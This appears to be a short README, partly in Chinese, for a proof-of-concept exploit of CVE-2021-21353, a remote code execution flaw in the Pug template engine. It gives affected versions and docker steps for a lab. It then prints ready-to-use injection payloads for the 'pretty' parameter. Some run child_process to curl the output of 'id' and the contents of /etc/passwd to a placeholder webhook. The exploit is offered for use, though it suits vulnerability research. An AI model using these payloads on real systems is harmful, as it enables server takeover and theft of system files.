
Proof-of-concept exploit for CVE-2021-21353, a remote code execution vulnerability in Pug template engine versions <=3.0.0. Demonstrates payload injection via the 'pretty' parameter to execute arbitrary commands.
CVE编号:cve-2021-21353
CVSS评分:8.1
<漏洞版本>
pug_version <= 3.0.0
2.0.3 < pug-code-gen version, 3.0.0<= pug-code-gen version < 3.0.2
git clone https://github.com/jinsu9758/PUG-RCE-CVE-2021-21353-POC.git
cd PUG-RCE-CVE-2021-21353-POC
sudo docker compose up
※ 可通过3000端口访问
测试Payload
?pretty=');console.log('executed');//
最终Payload
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(id)\" <webhook_site>');_=('
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(cat /etc/passwd)\" <webhook_site>');_=('